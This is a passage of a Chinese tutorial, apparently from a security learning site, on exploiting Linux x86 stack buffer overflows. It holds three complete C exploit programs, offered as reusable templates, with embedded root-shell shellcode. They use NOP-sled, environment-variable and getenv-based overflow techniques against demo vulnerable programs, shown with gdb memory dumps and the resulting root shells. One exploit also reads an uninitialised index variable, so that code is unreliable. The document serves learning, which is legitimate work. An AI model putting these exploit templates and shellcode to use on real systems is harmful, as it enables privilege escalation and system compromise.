我们采用RRRRNNNNSSSSS型的填充方法.
下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板
[tt@ph4nt0m explab]$ cat stackexp3.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
int main(int argc,char **argv){
char buf[500];
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf));
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode));
execl("./stack1","stack1",buf,NULL);
return 0;
}
[tt@ph4nt0m explab]$
先分配一个500BYTES的大BUF,用于我们的构造
把整个BUFFER填满NOPS
memset(buf,0x90,sizeof(buf));
然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了.
从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求.
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
接下来把SHELLCODE复制到合适的位置.
memcpy(buf+400+i,shellcode,strlen(shellcode));
这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大.
最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序
剩下的关键问题是RET值的确定问题
如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面
我们的BUF的结构是RRRRRRNNNNNNNSSSSSS
而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS
里了.
从而我们这样计算
p=&buf;
ret=p+70;
显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看
[tt@ph4nt0m explab]$ ./stackexp3
buf's 0xbfffef40
sh-2.05b#
内存分布如下
(gdb) x/50x $esp-36
0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdd9c: 0x90909090 0x90909090
(gdb)
......
(gdb)
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31
0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31
0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68
0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180
0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000
0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000
中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS
方式填充了!
3.利用环境变量
这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址,
所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS
肯可能会被检测出来而无法通过执行.
函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍.
具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>>
可以在http://www.ph4nt0m.net/docs/env.txt找到这篇文章.
简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存
高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存.
这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置!
SHELLCODE地址的计算方法是
0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode)
这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址
最后再用SHELLCODE执行整个程序就可以了 !
我们还是针对stack1.c来进行溢出
[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
return 0;
}
[tt@ph4nt0m explab]$
下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板
[tt@ph4nt0m explab]$ cat stackexp1.c
#include<stdio.h>
char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
int main(int argc,char **argv){
char buf[32];
char *p[]={"./stack1",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL};
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[28],&ret,4);
printf("ret is at 0x%8x\n",ret);
execve(p[0],p,env);
return 0;
}
[tt@ph4nt0m explab]$
把SHELLCODE放入将要执行的环境变量中
char *env[]={"HOME=/root",shellcode,NULL};
把整个BUF用A填满
memset(buf,0x41,sizeof(buf));
计算RET的值,并覆盖EIP
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);
......
memcpy(&buf[28],&ret,4);
最后执行execve()
execve(p[0],p,env);
我们来看看运行EXPLOIT的内存分布
(gdb) b execve
Breakpoint 1 at 0x80482ec
(gdb) r
Starting program: /home/tt/explab/stackexp1
Breakpoint 1 at 0x420ac7f6
ret is at 0xbfffffbb
Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6
(gdb) i reg
eax 0xbfffe190 -1073749616
ecx 0x4212ee20 1108536864
edx 0x15 21
ebx 0x42130a14 1108544020
esp 0xbfffe150 0xbfffe150
ebp 0xbfffe158 0xbfffe158
esi 0x40015360 1073828704
edi 0x80484dc 134513884
eip 0x420ac7f6 0x420ac7f6
eflags 0x286 646
......
(gdb) x/50x $esp
0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2
0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750
0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb
0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380
0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a
0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb
0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574
0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c
......
(gdb) c
......
(gdb) x/50x $esp
......
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000
0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141
0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14
0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001
0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8
0xbfffffc0: 0x89db3180 0xcd17b0d8
(gdb)
0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68
0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231
0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f
0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000
(gdb) x/50x 0xbfffffc1
0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0
0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8
0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd
(gdb)
我们已经可以看到程序按照我们的想法执行了.
[tt@ph4nt0m explab]$ ./stackexp1
ret is at 0xbfffffbb
buf's 0xbffffc60
sh-2.05b#
以上是三种常用的方法.
最后,简单说说关于传递环境变量到BUF造成溢出的问题
很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时,
运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出.
通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量
由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考.
[tt@ph4nt0m explab]$ cat env1.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv){
char buffer[500];
printf("buf addr is- %p -\n", &buffer);
strcpy(buffer, getenv("PH4NT0M"));
return 0;
}
[tt@ph4nt0m explab]$
下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板
[tt@ph4nt0m explab]$ cat envexp1.c
#include <stdlib.h>
#include <unistd.h>
char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv){
char buf[528];
int i;
int offset=90;
unsigned long ret;
memset(buf,0x90,sizeof(buf));
/* set offset to 100 to spawn a shell! */
if(argc>1)
offset=atoi(argv[1]);
ret=get_esp()-offset;
memcpy(buf+524,&ret,4);
memcpy(buf+400+i,shellcode,strlen(shellcode));
setenv("PH4NT0M",buf,1);
printf("retaddr is at 0x%lx \n",ret);
execl("./env1","env1",NULL);
return 0;
}
[tt@ph4nt0m explab]$
运行结果如下,OFFSET取100时,造成溢出,得到SHELL
[tt@ph4nt0m explab]$ ./envexp1
retaddr is at 0xbffff1ce
buf addr is- 0xbfffefa0 -
段错误
[tt@ph4nt0m explab]$ ./envexp1 100
retaddr is at 0xbfffed34
buf addr is- 0xbfffeba0 -
sh-2.05b$
以上作为自己学习过程中的一点心得,方便以后备查,也希望能帮助需要的朋友.还请各位前辈
指正其中的缺陷和错误.
上一页 [1] [2] [3]